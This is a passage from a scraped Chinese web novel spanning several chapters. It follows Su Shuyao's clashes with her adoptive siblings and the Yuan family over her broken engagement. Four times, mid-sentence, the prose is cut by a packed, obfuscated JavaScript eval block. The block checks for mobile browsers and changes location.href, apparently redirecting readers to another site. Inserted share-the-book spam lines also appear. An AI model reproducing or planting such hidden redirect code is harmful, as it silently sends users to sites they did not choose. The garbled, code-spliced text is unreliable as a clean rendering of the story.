铺子掌柜：“苏世子，您要的东西已经包好了，诚惠五十两。” 明画上前要给银子，苏明沛抬手一拦，“等一等，把你们铺子里最好的徽墨和湖笔全部拿出来，本世子全都要了。” 这五十两，是苏明沛好不容易从月姨娘那里哄来的。 遇到苏舒窈，不用自己付钱了，这五十两，可以自己收起来。 掌柜眼中闪过一丝疑虑，这个苏世子平时买东西抠抠搜搜，讨价还价要磨上半天，怎么忽然这么大方。 “好勒，爷，小的马上去拿。” 掌柜嘴上答应得很殷勤，实际上却没有动作，在一旁静观其变。 苏明芷从苏明沛身后探出脑袋，娇俏一笑：“苏舒窈，原来你心里一直惦记着大哥的啊，知道大哥每个月这个时候会出来采买笔墨纸砚，专门侯在这里的吧。” 两人的态度大转变，语气带着笑，不像之前那般咄咄逼人。 原因很简单——苏明沛听说苏舒窈又弄了香露生意，会比以前赚得更多，忽然就原谅了她以前的过错。 只要把苏舒窈哄着，他们还能继续以前奢豪的生活。 苏明珠也还惦记着自己的嫁妆呢。 侯府没银子，她的嫁妆，势必要苏舒窈帮着置办。 苏明沛看着铺子里上好的湖笔，眼里闪着光：“都是一家人，打断骨头连着筋，以前有些小矛盾在所难免，舌头有时候还会和牙齿打架呢，虽然你耽误了我拜师的机会，但凭我的真本事，也能金榜题名。这样，我来定夺，从今天起，以前的恩怨一刀两断。” “苏舒窈，本世子原谅你了。” 苏舒窈：“......” 苏明芷笑得像朵花儿：“苏舒窈，你乐疯了吧。再告诉你一个更好的消息，我也原谅你了。” “所以，今儿大哥和我的账单，便由你来付吧。” “待会儿我还要去香粉铺子，你记得派人帮我把香粉铺子的账结了。对了，那个香露，我要一瓶茉莉花的，其他香味的各给我拿几瓶，我要拿去送人。” 苏明珠自说自话，把苏舒窈安排得明明白白。 听着苏明芷的话，苏明沛一脸赞同，好似允许苏舒窈帮他们结账，是天大的荣耀。 苏舒窈：“......” “你们脑子坏掉了？坏掉了去看医馆看病，别在外面像疯狗一样乱吠，免得丢了侯府的脸面。” 苏明沛眉心微微皱起：“给了你台阶，你还要拿乔？” 苏舒窈后悔没把秋水带上，秋水伶牙俐齿的，肯定会把苏明沛两人骂得无地自容。 她没理苏明沛，看了秋霜一眼，秋霜走到店伙计面前：“要两只宣笔、两只狼毫、三只兔毫、三只鼠须，再要两块徽墨，还要十刀生宣，全都要最好的。” 苏明沛开口道：“生宣不用，我年前买得多，府中还有。” 秋霜白了他一眼，继续道：“全部包好，送到这个地址。” 听着秋霜报出的地址，苏明沛脸色微变：“这些东西，都是送给苏明厉的？” 苏舒窈淡淡地看着他：“不然呢？” 苏明沛抬手就要去抢：“不行，我不允许！” 掌柜抄起一块戒尺，精准地打在他的手上：“苏世子，这些东西可是值好几百两的，动手之前，您先掂量一下赔不赔得起！” 苏明沛心口憋着一股气，抬手往柜台上用力一捶：“怎么赔不起？！掌柜的，她是我妹妹！她的银子，就是我的银子！” “本世子教训妹妹，你一个小小掌柜，插什么嘴！” 掌柜笑了笑：“苏世子，这话您说了不算。” 苏明沛冷笑一声：“本世子说了不算，难道你这个小小掌柜说了算？！” 苏舒窈浅浅一笑：“当然是大夏律法说了算。我的钱财，大哥可做不了主！” “大哥不是熟读圣贤书吗？你的书难道读到狗肚子里去了？” 被质疑学问，苏明沛一整个大破防：“苏舒窈，给脸不要脸是不是？！” “本世子都给你台阶了，你还要怎么样？” 苏明芷在一旁帮腔：“苏舒窈，你别装了，见好就收吧，大哥不是一直这么好说话的。” 付完银钱，苏舒窈带着秋霜离开。 苏明沛破口大骂道：“苏舒窈，你只要走出铺子，你就算跪下来求我，我也不会原谅你的。” “你现在留下，乖乖地把账单结了，发誓再也不资助苏明厉一家，我还能给你一次机会！” 苏舒窈离开的脚步更快了。 第144章 套麻袋 苏明沛看着苏舒窈离开的背影，气得七窍生烟。 “真是岂有此理！！岂有此理！！！ 掌柜凑过来：“苏世子，湖笔和徽墨还要吗？ “不要了！苏明沛袖子一甩，就要离开。 掌柜伸手把人拦住。 苏明沛唇角一勾，嘴边噙着一抹邪魅的笑容：“干什么？小小掌柜，谁给你的狗胆阻拦本世子的？！ 掌柜学着苏舒窈的语气：“是大夏律法给的。 周围传来一阵哄笑。 苏明沛刚要开口骂人，掌柜忙道：“诚惠五十两，苏世子买了东西还没给银子呢。 “哪家的世子这么抠门，不仅想霸占妹妹的财产，买了东西还不给钱，啧啧啧~ 听着周围的窃窃私语，苏明沛脸色一红，扔下银子。 “拿去！本世子堂堂侯府继承人，将来朝廷的算了，和你这种下等人说不清楚！ “明芷，我们走！ 说完，便逃也似的离开了。 两人走在街上，苏明沛心中还无法平静：“苏舒窈真是越来越明目张胆、无法无天了！ “对，她简直是给脸不要脸！苏明芷忿忿道：“大哥，我们一定不能轻易放过她！她的银子，必须要拿出来，不能让她一个人独吞！ 苏明沛点点头。 科举高中之后，他还要置办新衣，广交朋友，拜谢恩师。还要招募几个能干的幕僚，打赏下人. 不可能金榜题名之后，让他穿着旧衣裳去领旨吧？ “回去找明珠和二弟商量！ 两人气呼呼往回走，走了没几步，苏明芷指着前面一抹白影： “大哥，是苏舒窈，她一个人钻小巷子里面去了！ 苏明沛顺着看过去：“在哪里？怎么没看到？ 苏明芷：“刚才还在巷子口，她走得很快，一个人，我看得清清楚楚，应该进去了。 苏明沛：“走，我们跟上去。 苏明芷：“跟上去干什么？ “看她有没有做坏事？抓住她的把柄，还能趁机教训她！ “大哥英明！ 苏明芷让丫鬟和小厮等在原地，跟着苏明沛钻进小巷子里。 苏明南看着两人进入巷子，朝着身后几个兄弟招手：“男的随便打，女的掌嘴！ 苏明沛和苏明芷刚走进巷子，两个麻布口袋从天而降，将两人牢牢套住，紧接着，无数棍棒落了下来。 “哎哟，别打了， 你的朋友正在书荒，快去帮帮他吧 别打了——” “你们打错人了！” “本世子是未来的三品大员，你们胆敢.哎哟，哎哟——” 苏明沛和苏明芷是被人抬回威远侯府的。 “明珠姐姐，肯定是苏舒窈，我看得很清楚，肯定是苏舒窈那个**找人打了我们，明珠姐姐，苏舒窈太过分了！！” 苏明芷挨了好几个大嘴巴子，她都纳闷了，头上套了麻袋，是怎么精准打到她的嘴巴的。 “明珠姐姐，自从母亲去了家庙，偌大一个威远侯府，就没人能管得了苏舒窈了吗？” 苏明添躺在床板上，“咱想想办法把母亲接回来吧！” 只有母亲，能利用孝道压制住苏舒窈。 苏明珠：“二哥哥有什么办法能把母亲接回来？” 苏明添：“等到重阳，把母亲接回来过节。族长不可能会阻止我们尽孝吧！只要把人接回来，到时候再想办法把母亲留下就是。” “这个主意好！” 苏明芷：“现在到重阳，还有好些日子呢。我是不想再看她那个猖狂样儿了！偏偏父亲又是个耳根子软的.” 苏明沛被打得鼻青脸肿，心中有气：“最好现在就能想法子挫挫她的锐气！” 苏明珠：“挫她的锐气，我倒是有个法子！” 苏家几兄妹齐齐看过去。 苏明珠：“苏舒窈对元祖哥哥一片痴心，要是元祖娶的是我，你们说，她会不会嫉妒到发狂啊？” 上一世，苏明珠和元祖纠缠不清，苏舒窈脸上痛苦的表情她现在都记忆犹新。 想起上一世苏舒窈那张怨妇脸，苏明珠觉得空气都清新了。 苏明芷：“可是，她都主动退婚了啊？” 苏明珠冷笑一声：“口是心非罢了，她希望元祖哥哥去哄她求她，给她赔不是，上次我们还发现她偷偷去看元祖蹴鞠呢。” 苏明添也点头：“苏舒窈就是一个满嘴谎话的骗子！” 苏明芷拍手，“那感情好，我这就去给元夫人下帖子，让她上门做客，先恶心恶心她。” 苏舒窈的婚事是老夫人和元家老夫人定下来的，元夫人非常不满意。 苏舒窈上次把订 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360163|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚信物退回元家，元家被打脸，元夫人肯定很生气。 正好把元夫人请过来，好好羞辱苏舒窈一番。 元夫人上门那天，天灰蒙蒙的，没有太阳，却越发闷热。 “大小姐，元家夫人来了，让您去作陪。” 元家夫人，元祖的母亲，那个 听说看这本书的人都是很幸运的，分享后你的运气会更棒 溺爱元祖，将元祖视为身体一部分的元夫人？ 上一世，她和元祖成亲当日，元夫人嚷着头痛，元祖是挨着元夫人睡的。 元夫人极度厌恶她，甚至都不愿意隐藏。 都退婚了，元夫人应该高兴啊，还来干什么？ 元老夫人和侯府老夫人是手帕交，即使元家已经飞黄腾达，两家依然保持着往来。 苏舒窈和元祖也算是青梅竹马。 元祖平时挺正常，唯一缺点便是事事听从元夫人的意见，没有一点主见。 两位老夫人互相赠送信物定下婚事后，苏舒窈谈不上欢喜，也不讨厌。 婚姻大事，长辈做主，她听从便是。 婚事定下后，她在心里，将元祖认定成自己未来的夫君，事事为他着想。 元家被晋王贪墨案牵连，被了抄家。 一时间，树倒猢狲散，往日和元家关系好的亲朋全都没了影儿，她散尽千金，为元家四处奔走。 在她的周旋下，元父终于官复原职，元家得以**。 她的付出，没有换来元祖的真心相待，反而滋生了更猖狂的背叛。 苏明珠回来之后，很快和元祖厮混在一起。 苏明珠说了，苏舒窈顶替了她的位置，元祖哥哥也该是她的未婚夫。 万氏偏心，放任苏明珠，反而处处对她打压。 元祖说她善妒、不贤良、无理取闹。 万氏说她污损苏明珠的名声。 元祖伙同着侯府的人，一起欺负她。 她清楚地记得元祖当初的原话：“你一个养女，替明珠妹妹享了这么多年的福，不想着报恩，却想方设法给妹妹泼脏水，你还是人吗？” “明珠妹妹比你乖巧懂事，自然能得到大家的偏爱！你有空嫉妒明珠妹妹，不如花时间好好反思，哪里做得不对，为什么大家不喜欢你，只喜欢明珠妹妹。” 到了后来，他竟然想让她当妾。 第145章 谁敢娶你 上一世，苏明沛和苏明添有了出息，整个侯府蒸蒸日上。 苏明珠是侯府当之无愧的明珠，每个人都宠她，爱她。 元祖如果娶了苏明珠，能得到整个威远侯的支持。 元祖说：“舒窈，你变了，你变得越来越恶毒了，我们元家，是不可能娶一个恶毒的女子当主母的。” 苏舒窈质问：“你要悔婚？” “舒窈，君子一诺值千金，我既然承诺了要你，就绝对不会放弃你的。” 元祖说的是“要”，不是“娶”。 他想娶苏明珠，又舍不得放她走。 从小一起长大，他也默认了苏舒窈是她的人。 苏舒窈虽然不解风情了一些，也不被侯府的人喜欢，但她长得漂亮。 他两个都想要。 “明珠善解人意，一定会善待你的，你老老实实待在后院，养养性子，手上的生意也一并交出来，我们元府是绝对不会短了你的吃喝。” 不仅要她做妾，还要抢夺她手上的产业。 “性子养好之后，我会疼爱你的。舒窈，你知道的，我喜欢性情温和的女子，你太强势，让我感到不适。” 他还想调教她。 “舒窈，你知道，母亲不喜欢你，为了你，我不惜和母亲对抗，舒窈，你难道就不能为我改改性子？” 现在想起元祖的话，苏舒窈就该给他两巴掌，把他的嘴打烂。 元祖的做法，元夫人也是赞同的。 元夫人也喜欢苏明珠，上一世，苏明珠经常去元府，和元夫人一起说她的坏话。 最后，苏舒窈找到元老夫人哭诉，在元老夫人的坚持下，苏舒窈顺利嫁进了元家。 可是，元老夫人去世没多久，她就被毒**。 苏舒窈想起重生那天，看到元祖和苏明芷在她闺房厮混的场景。 胸口很闷。 想吐。 秋霜打发走传话的小丫鬟：“大小姐，你怎么了？如果不想去见元夫人，不去就是。” “夫人不在，乔姨娘那边不会说什么。” 苏舒窈闭上眼缓了一会儿，再睁开眼时，眼中不快尽数消退，一丝暗芒在眼底滋生。 “帮我换衣裳，我去会一会元夫人。” 上一世，元夫人是她的婆母，面对元夫人的刁难，她百般忍让。 这一世，元夫人什么都不是。 那便只有复仇。 “去，给千杯醉的掌柜带句话，就说，肥羊找到了，要个包厢 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 ，下午面谈。 不如先抄了元祖的家。 晋王贪墨案，虽然元家只是被牵连，但元家一点也不无辜，仗着晋王的势，揽了不少不义之财。 先抄了吧。 与其等着两个月后让别人抄，不如她和谢瑜合谋抄了元家。 她对元家可熟悉了，元家老爷夫人们的私库，她一清二楚。 元夫人西山别院地下室里藏的金砖，可全都要便宜她了。 想到这里，苏舒窈觉得气顺了许多，脸上的笑容也越发惬意。 苏舒窈换了一身大红衣裙，涂了大红色口脂，整个人宛如盛开的牡丹，大气华丽。 厅堂里，威远侯亲自招待元夫人。 乔姨娘和苏明珠坐在下首。 元夫人身着一件油葫芦色紫鸾鹊纹褙子，衬得一张脸有些冷白。 苏舒窈刚走到门口，便听见元夫人在夸赞元祖：“也就只会读书了，国子监祭酒看过他的文章，二甲进士完全没问题，这段时间，他父亲拘着他，也想让他冲一冲一甲。一甲，可是由陛下钦点入朝的。 “晋王殿下也说了，祖儿才华横溢，有首辅之才，科举之后进入翰林，入阁也是迟早的事。 晋王是夏文弟的弟弟，虽然不是同胞兄弟，但夏文帝待晋王极好。 夏文帝登基后，其他皇子要么被清算，要么早早去了封地，就只有晋王留在京城，担任要职。 元家和晋王交好，背靠晋王，元家一直在朝中混得顺风顺水。 随着晋王倒台，元家也快完了。 威远侯道：“元公子前途无量，真乃年轻一辈的楷模。 威远侯实在是舍不得元家，他看了眼苏明珠，苏明珠会意，立刻笑意盈盈道：“元祖哥哥优秀的发光，也不知道姐姐怎么想的，竟然想退婚。元夫人你可千万别生气，是姐姐福薄没眼光。能成为夫人的儿媳，不知道是几辈子修来的福分。 威远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360164|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯听到苏明珠贬低苏舒窈，心里有些不快。 但想到苏明珠是在恭维元夫人，眉间褶皱又舒展开来。 元夫人被取悦，脸上露出一抹会心的微笑。 苏明珠话音刚落，苏舒窈正好走了进来。 “有福之人不进无福之门。我的福气好得很。苏舒窈笑着上前行礼：“父亲，元夫人。 元夫人的脸瞬间垮了下来，她淡淡地看了人一眼，“舒窈啊，最近怎么没到元府来玩了啊？以前十天能撞见你八次。 这是在暗讽苏舒窈不要脸，还没 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 过门就天天往元家跑。 苏舒窈也不想去，都是元祖的书童来请她。 今年下半年，元父越发严厉，天天拘着元祖读书，他读书读烦了，想找人说话，就派人来请苏舒窈。 有时候遇到不懂的题目，元祖也喜欢和苏舒窈讨论。 苏舒窈总是会变着法子哄他开心，让八股文变得没那么枯燥。 元夫人说完，也不理苏舒窈，再次转头看向苏明珠：“不愧是侯府嫡出的小姐，有血缘的就是不一样，这气质、涵养啊，就是和旁人不同。” 她嘴里的旁人，当然指的是苏舒窈这个养女。 苏明珠脸色一红，“元夫人，人家哪里有你说的那样好，要我说，元家的姑娘，才是一等一的好。夫人也就没有女儿，夫人要是有女儿，定然和元祖哥哥一般优秀。” “明珠啊，你就别谦虚了，我见识过那么多女子，没几个能比得上你。不知道哪家有福气，能娶了你去。” 元夫人原意是想抬高苏明珠来贬低苏舒窈。 听到威远侯耳朵里，便成了元夫人想让苏明珠当儿媳。 这不是正合了威远侯的意！ 苏舒窈送去长公主府攀附长公主，苏明珠留着和元家联姻，双赢的局面。 乔姨娘端着茶在一旁看热闹，喝着喝着，乔姨娘转头一看，苏舒窈唇边挂着一丝淡淡的笑意，比她还悠然自得。 事不关己，云淡风轻，好似在欣赏跳梁小丑的表演。 元夫人也发现了苏舒窈的异常，她忽然看过去，开口道： “苏舒窈，你退了婚，还有谁敢娶你？” 第146章 求人 元夫人眼神鄙夷语气也带了一丝不屑。 当初定下婚事她万般不愿但老夫人的意思她也不敢违逆。 后来苏舒窈送来信物表明退婚意愿她在觉得被打脸的同时暗自松了口气。 她的祖儿 没成想老夫人忽然问起婚事听说苏舒窈要退婚老夫人把她骂了一顿让她上门一定要挽回。 不然她怎么会无缘无故到威远侯来。 想到这里元夫人臭着脸嘴边露出三分讥讽：“一个养女解除了婚约还能找到比我家祖儿更好的儿郎？我家祖儿可是百里挑一。” 苏舒窈笑道：“听说元公子都二十了还挨着夫人睡觉这样的儿郎何止百里挑一简直就是**挑一。” 元夫人眉眼一瞪“你什么意思？” 苏舒窈眼神凌厉回看过去嘴边噙着一抹浅淡的笑：“您又是什么意思？” 元夫人看向威远侯：“侯爷小辈对长辈不敬你就这样看着？你们威远侯府的家教可真是好啊！” 这句话威远侯可不爱听了舒窈哪里教养不好了？ 她觉得舒窈的教养极好倒是元夫人一开口便夹枪带棒。 舒窈可是要嫁入长公主府的谢小郡王自然比元祖尊贵许多。 元家连谢小郡王一根汗**都比不上还有脸嫌弃他的舒窈。 这元夫人真把自己当盘菜了。 “舒窈的教养可是得到过长公主夸赞的。” 空气中弥漫的**味越来越重苏明珠出来打圆场：“姐姐误会了元夫人是在关心姐姐的婚事。姐姐怎么回事把元夫人的好心当成驴肝肺？” 元夫人脸色稍缓。 苏舒窈笑道：“我刚刚也是在赞扬元公子孝顺啊元公子的孝心整个盛京无人能及。” 听到这话元夫人脸色渐渐恢复红润。 苏舒窈继续道：“就是不知道元公子以后娶了亲会不会带着妻子和元夫人同睡一张床一同侍奉元夫人。” 元夫人的脸转瞬又黑了个彻底横眉冷竖：“你！” 威远侯：“好了好了都是误会说开就好了。” 元夫人：“性格刁钻、蛮横不讨长辈喜欢。侯爷我有句话不知道当讲不当讲。” 威远侯：“您别讲。” 元夫人：“.” 威远侯：“虽然退婚了但我们威远侯府和元府世代交好不能因为一点口舌之争便 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 有了嫌隙。 苏明珠挽着元夫人：“夫人，姐姐最近不知道怎么了，性情大变。您宽宏大量，您心中有丘壑，不与她计较。 又压低声音，“姐姐小家子气，夫人与她置气，倒是抬举她了。 苏明珠轻声哄了好一会儿，元夫人才道：“明珠，你母亲把你教得极好，谁家要是娶了你，必定家宅安宁、人丁兴旺。 末了，又看向苏舒窈：“这婚，是府中两位长辈定下的，你简单一句退婚，可作不得数。 苏舒窈淡淡一笑：“元夫人今日上门，是求我继续婚约的？ 元夫人的脸更加难看了。 苏明珠在一旁窃喜，苏舒窈越是出言不逊，越显得她乖巧懂事。 她尽情地展现着自己的贤惠、端庄、识大体。 “姐姐，元夫人是长辈，咱威远侯府诗书世家，岂能这般没规矩，传出去怎么的了？ 威远侯对苏舒窈也有意见了。 这般莽撞，对侯府面子有碍。 真把元夫人气走了，苏明珠的婚事该怎么办？ “舒窈，快给元夫人道歉。 苏舒窈感觉威远侯吃丹药吃傻了，怎么跟个墙头草似的东摇西摆：“侯爷，我哪句话说错了？ “两家长辈定下了婚约，信物交换了这么多年，他们元家不仅不上门交换庚帖推进婚事，元祖还和苏明珠有了首尾。你们元家犯错在先，我要求退婚，有理有据。 “我退婚，你们元家不同意，现在上门来，不是来求我别退婚的吗？ “侯爷，现在是元家有求我们威远侯府。 转而看向元夫人：“元夫人，求人就要就有求人的态度。 威远侯最看重侯府面子，经苏舒窈这么一说，便又觉得她不是在耍小脾气，反而是体现了侯府的风骨。 元夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360165|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简直气得七窍生烟，差点当场裂开。 这样的媳妇，她要不起！ 元夫人原本是冲着打压苏舒窈而来的，没想到苏舒窈这般刁钻。 她额角青筋突突直跳，脸色也涨成了猪肝色。 这样的搅家精娶进门，今后她还能有好日子？！ 真该让老夫人来看看，她看中的孙媳妇究竟是个什么货色！ 威远侯心中暗喜。 元夫人上门嫌弃侯府的女儿，现在被骂，真是活该。 他面上却道：“苏舒窈，不得无礼。 关系不能太僵，他还盼着把苏明珠嫁过去呢。 元夫人站 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 起来：“告辞！” 这侯府，她是一刻也待不下去了。 苏舒窈端起茶盏，浅浅抿了一口，青色宽袖长裙如水般垂落。 “夫人这一走，便是同意退婚了，今后我和元祖，再无任何瓜葛。” 她的语气淡淡，毫无留恋。 元夫人停下脚步，她要是走了，回府无法向老夫人交代。 苏明珠上前挽着元夫人，“夫人别生气，有话好好说。” 元夫人看着苏明珠，唉声感叹：“当初老夫人定下的，为什么不是你啊？” “明珠这般的女儿，才是媳妇中的典范。” 苏舒窈淡淡开口：“既然元夫人更喜欢苏明珠，便让苏明珠嫁过去就是，元老夫人那里，我去说。” “行！” 话赶话，元夫人被激得一口答应下来。 答应之后，却有些后悔。 元夫人其实也看不上苏明珠，小姑娘家家的，和姐夫纠缠不清，品性可见一斑。 准确来说，她看不起整个威远侯府。 他们元家，可是实打实的权臣，比起威远侯那种不入流的勋贵，好了不知道多少。 但要从矮子里面拔高子，苏明珠确实要比苏舒窈好太多。 如果必须从威远侯府娶一个，那就苏明珠吧。 苏明珠好歹稳重许多，嫁进元家，必定家宅和睦。 第147章 花招 元家。 元祖如往常一样，正在看书。 他看两眼书，又看两眼小丫鬟。 最后心烦气躁地合上书，把小丫鬟拉进怀里。 小丫鬟是他的通房丫头，被他拉住，身子软了半截，嘴上却不住求饶：“少爷，夫人说了，距离春闱不过半年时间，不让少爷胡闹。要是被夫人发现，又会责骂奴婢。 元祖把手探入对方衣襟：“闭嘴，少爷我正在火头上，泻完火就放你出去。 小丫鬟不敢吱声，只得任人施为。 过了小半个时辰，元祖满足了，才放开人。 元夫人打开书房的门，就见小丫鬟神色慌乱地整理衣裳。 元夫人眉头一皱，瞪着小丫鬟：“个贱蹄子，又来勾引少爷，少爷要是考不好，看我不把你那张皮给剥了！ “还不快滚出去！自己去讨一碗避子汤喝了！不要脸的玩意儿！ 小丫鬟落荒而逃。 元祖笑嘻嘻走过去，将母亲按在椅子上坐好，轻轻地帮她揉着肩膀：“娘，谁又惹你了，这么大的火气？ 元夫人想起先前在威远侯的遭遇，气得捏着拳头就往书桌上捶。 捶得书桌砰砰作响：“苏舒窈真是欺人太甚！ “给脸不要脸！ “气死我了！ 元夫人添油加醋，把苏舒窈怎么无礼退婚的事说了。 元祖愣了愣，“苏舒窈疯了？真要退婚啊？ 上次从威远侯府回来，他被父亲逮着臭骂了一顿。 父亲说朝中动荡，不让他出门。之后，他就被拘着府中读书，不准再去威远侯府。 没两天，苏舒窈把信物送了回来，说是要退婚。 他没怎么在意。 不就和苏明珠玩闹一番，有什么大不了。 哪个男人不是三妻四妾，通房无数的？ 他再怎么玩，她也是正妻。 哪种人只能玩一玩，哪种人能娶回家当妻子，他心里门清。 不知道她闹什么？ 再说了，要不是苏舒窈不让碰，他会被苏明珠勾引？ 不过话说回来，苏明珠确实带劲。 苏明珠虽然没有苏舒窈长得好，身段也差了许多，但性子却比苏舒窈活泼许多，放得也开，和她玩闹，得趣得很。 “她退了婚，还能找个什么像样的人家？ 苏舒窈一个养女，和他退了婚，能找到什么样的好人家？ 不过想借此拿捏他，让他服 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 软罢了。 上次还偷偷跑去看他蹴鞠，别以为**。 一个养女能攀上他们元家，是祖坟冒了青烟。 威远侯也不可能同意退婚。 元祖不相信。 元夫人道：“我也是这样说的，可是那个小贱蹄子就跟吃了秤砣一样，铁了心要退。” “最后商量下来，让苏明珠代替苏舒窈嫁进来。” “苏明珠？”元祖眉心皱成一团：“祖母会同意吗？” 他和苏明珠只是玩玩而已，他并不想娶苏明珠。 元夫人：“苏舒窈承诺，她亲自来说服老夫人。” 元祖手上动作一顿：“她当元家是什么地方？容得她想退婚就退婚！不行，她必须要入我们元家来！” 元夫**惊：“祖儿，你不会是非她不娶吧？” 心中警铃大作。 她知道，儿子之前很喜欢苏舒窈。 元祖撇撇嘴：“怎么可能？她又不是天仙，我堂堂吏部侍郎家的公子，怎么可能非她不娶？” 元夫人脸上警惕未消：“那你什么意思？” 元祖露出一抹玩味：“既然不肯当正妻，便当个妾吧。” 元夫人怒气消散，双手一拍：“行，这个主意好。” 她从威远侯府回来，憋了一肚子火气。 威远侯那个瘪三，竟然纵容那个低贱的养女羞辱她。 这口气，她咽不下去！ “我看她退婚是假，要我哄她是真。我找个机会，毁了她的清白。到时候她求着嫁入元家，我只给她一个妾室之位。” “等她成了儿子的妾，母亲想怎么整治就怎么整治！” 元夫人被哄得笑成了一朵花：“还是祖儿孝顺。” 继续提醒：“你最近安分点，小心别触了你爹的霉头。” 元祖抬眼看过去：“怎么了？” “听说上边在查晋王，你爹最近都很少出门了。”元夫人小声道。 元祖坐直了身体。 他们元家与晋王交好，晋王倒台，势必要受到牵连。 “母亲，父亲那边什么情况？” “应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360166|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事，你别想太多。”元夫人拍拍他的手：“先想办法把苏舒窈给办了。” “行，这件事交给我就是。” ~ 威远侯府这边，已经开始狂欢。 “舒窈，你改日去元家，到元老夫人面前把话说清楚，结亲是结两家之好，不能把两家关系弄僵了。” 苏舒 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 窈：“侯爷，我省的。” 接着便安排上门礼物，燕窝各种补品，她还准备了一根五百年的老山参。 以前老夫人还在的时候，元老夫人经常上门做客，对苏舒窈很好，把苏舒窈当成亲孙女一样看待。 投桃报李，苏舒窈也是真心将元老夫人当成自己长辈尊敬。 对自己好的人，苏舒窈从来都表现得很大方。 苏明添院子里，兄妹四人再次齐聚一堂。 苏明芷：“恭喜明珠姐姐，明珠姐姐太厉害了，一出手便把苏舒窈的婚事抢了！” 苏明珠低着头，柔声道：“我什么都没做，我就安慰了元夫人两句，哪知道元夫人就看中我当儿媳了。” 苏明芷拍手笑道：“苏舒窈不会被气死吧？我待会儿去倚兰居看看，她不会在偷偷哭吧。” 苏明添躺在床板上分析：“父亲让她去元老夫人面前亲自说退婚的事，我怕她暗中使坏。” “她要是跑到元老夫人面前哭诉，元老夫人不允许，嫁入元家的，还是她苏舒窈！” 苏明芷：“她敢！” “明珠姐姐别担心，明儿我和她一起去，我守着她，不许她乱说话！” “多谢明芷妹妹。”苏明珠有些担心。 明芷办事太不牢靠了。 但，她要避嫌，不能跟着去元家，母亲也不在，府中能看着苏舒窈的，只有苏明芷了。 第二天一早，苏舒窈便带着礼物，准备去元府。 苏明芷等在倚兰居门口，趾高气昂：“苏舒窈，今儿我和你一起去。” 苏舒窈睨她一眼，没有说话。 苏明芷：“别以为我不知道你口是心非，你嘴上说着不嫁，实际爱元大公子爱得发狂，今儿有我在，你别想耍花招！” 苏舒窈差点被气笑，她淡淡地看过去，眼中讥诮满溢：“就你那点智商？怕是连我什么时候耍了花招都不知道吧。” 第148章 做怪 苏明芷脸色一变，瞬间便被激怒：“苏舒窈，你说什么呢？你骂我蠢是不是？” 面红耳赤，张牙舞爪地就朝着苏舒窈冲过去。 倚兰居这么多丫鬟婆子，可容不得她撒野，刘妈妈一人就能将她制服。 苏舒窈淡淡看过去：“一点就燃，毫无城府，被人卖了说不定还要帮人数钱。” “就你，还想管着我？” 眼神里全是藐视。 苏明芷简直要被气炸了。 “苏舒窈，你这个**，你太可恶了！你不得好死！” “我撕烂你的嘴！” 苏明芷毫无心计，就算是骂人，也不会戳人肺管子，毫无杀伤力，翻来覆去就那几句，苏舒窈耳朵都快听出茧子来了。 她笑了笑：“你说，要是在元府，我这么激你两句，你猴跳狗跳张牙舞爪，会不会被元夫人赶出去啊？” “明芷妹妹，你可得沉住气了，要是你被赶出元府，我可真要为所欲为了。” 苏明芷差点被气得背过气。 关键她还没有自知之明，还以为苏舒窈是那个宠她爱她，任劳任怨的大姐姐。 上一世，苏明芷亲自找来马夫毁她清白的那一刻起，苏舒窈便没有这个妹妹了。 坐上马车，苏舒窈没有直接去元府，先是去了趟千杯醉。 谢瑜已经等候多时：“苏老板，这么快就有消息了？” 苏舒窈也不拐弯抹角，直言道：“吏部侍郎元家，可抄。” 谢瑜眉眼一挑：“你这不是寻私仇吧？” 